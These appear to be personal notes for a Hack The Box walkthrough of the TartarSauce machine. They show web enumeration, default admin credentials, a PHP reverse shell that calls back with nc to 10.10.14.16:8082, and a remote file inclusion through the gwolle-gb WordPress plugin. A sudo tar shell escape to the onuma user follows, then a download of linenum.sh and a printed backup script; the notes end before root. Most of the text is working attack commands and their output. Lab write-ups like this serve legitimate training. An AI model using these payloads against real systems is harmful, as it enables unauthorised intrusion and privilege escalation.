WPSCAN WITH VANE

GWOLLE WPS PLUGIN EXPLOIT

REVERSE PHP SHELL

SYSTEMIDTIMERS

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

| http-robots.txt: 5 disallowed entries

| /webservices/tar/tar/source/

| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/

|_/webservices/developmental/ /webservices/phpmyadmin/

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Landing Page

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/)

/robots.txt (Status: 200)

/server-status (Status: 403)

/webservices (Status: 301)

User-agent: *

Disallow: /webservices/tar/tar/source/

Disallow: /webservices/monstra-3.0.4/

Disallow: /webservices/easy-file-uploader/

Disallow: /webservices/developmental/

Disallow: /webservices/phpmyadmin/

http://tartarsauce.htb/webservices/monstra-3.0.4/

root@kali:/home/kali/Desktop/hackthebox/tartarsauce# gobuster dir -u http://tartarsauce.htb/webservices/monstra-3.0.4/ -w /usr/share/wordlists/dirb/common.txt

/admin (Status: 301)

http://tartarsauce.htb/webservices/monstra-3.0.4/admin/

admin-admin WORKED!!!!

root@kali:/home/kali/Desktop/hackthebox/tartarsauce# searchsploit monstra 3.0.4

root@kali:/home/kali/Desktop/hackthebox/tartarsauce# cp /usr/share/exploitdb/exploits/php/webapps/43348.txt .

DIDN'T WORK

root@kali:/home/kali/Desktop/hackthebox/tartarsauce# gobuster dir -u http://tartarsauce.htb/webservices -w /usr/share/wordlists/dirb/common.txt

/wp (Status: 301)

http://tartarsauce.htb/webservices/wp/

root@kali:/home/kali/Desktop/tools/vane# ruby vane.rb --url http://tartarsauce.htb/webservices/wp/ --enumerate p

[+] We found 3 plugins:

[+] Name: akismet - v4.0.3

[+] Name: brute-force-login-protection - v1.5.3

[+] Name: gwolle-gb - v2.3.10

root@kali:/home/kali/Desktop/tools/vane# searchsploit gwolle

root@kali:/home/kali/Desktop/tools/vane# cp /usr/share/exploitdb/exploits/php/webapps/38861.txt .

root@kali:/home/kali/Desktop/hackthebox/tartarsauce# cat reverse.php

```
<?php
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 8082 >/tmp/f");
?>
```

root@kali:/home/kali/Desktop/hackthebox/tartarsauce# mv reverse.php wp-load.php

root@kali:/home/kali/Desktop/hackthebox/tartarsauce# python -m SimpleHTTPServer 80

root@kali:/home/kali/Desktop/hackthebox/tartarsauce# nc -nlvp 8082

http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.16/

SHELL GAINED!!!!!!

www-data@TartarSauce:/home$ sudo -l

Matching Defaults entries for www-data on TartarSauce:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on TartarSauce:

(onuma) NOPASSWD: /bin/tar

sudo -u onuma /bin/tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'

ONUMA USER!!!!!!

root@kali:/home/kali/Desktop/tools# python -m SimpleHTTPServer 80

onuma@TartarSauce:/tmp$ wget 10.10.14.16/linenum.sh

[-] Systemd timers:

NEXT LEFT LAST PASSED UNIT ACTIVATES

Mon 2020-06-22 13:17:39 EDT 28s ago Mon 2020-06-22 13:17:39 EDT 27s ago backuperer.timer backuperer.service

Tue 2020-06-23 01:40:55 EDT 12h left Mon 2020-06-22 12:37:27 EDT 40min ago apt-daily.timer apt-daily.service

Tue 2020-06-23 06:13:45 EDT 16h left Mon 2020-06-22 12:37:27 EDT 40min ago apt-daily-upgrade.timer apt-daily-upgrade.service

Tue 2020-06-23 12:52:34 EDT 23h left Mon 2020-06-22 12:52:34 EDT 25min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service

4 timers listed.

Enable thorough tests to see inactive timers

onuma@TartarSauce:/lib/systemd/system$ cat backuperer.service

[Unit]

Description=Backuperer

[Service]

ExecStart=/usr/sbin/backuperer

onuma@TartarSauce:/lib/systemd/system$ cat /usr/sbin/backuperer

#!/bin/bash

#--

backuperer ver 1.0.2 - by ȝмŗгиєȝ

ONUMA Dev auto backup program

This tool will keep our webapp backed up incase another skiddie defaces us again.

We will be able to quickly restore from a backup in seconds ;P

#--

Set Vars Here

basedir=/var/www/html

```
bkpdir=/var/backups

tmpdir=/var/tmp

testmsg=$bkpdir/onuma_backup_test.txt

errormsg=$bkpdir/onuma_backup_error.txt

tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)

check=$tmpdir/check


# formatting

printbdr()

{

   for n in $(seq 72);

   do /usr/bin/printf $"-";

   done

}

bdr=$(printbdr)


# Added a test file to let us see when the last backup was run

/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg


# Cleanup from last time.

/bin/rm -rf $tmpdir/.* $check


# Backup onuma website dev files.

/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &


# Added delay to wait for backup to complete if large files get added.

/bin/sleep 30


# Test the backup integrity

integrity_chk()

{
```

```
    /usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
    # Report errors so the dev can investigate the issue.
    /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :  $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
    integrity_chk >> $errormsg
    exit 2
else
    # Clean up and save archive to the bkpdir.
    /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
    /bin/rm -rf $check .*
    exit 0
fi
```

https://veteransec.com/2018/10/20/hack-the-box-tartarsauce-walkthrough/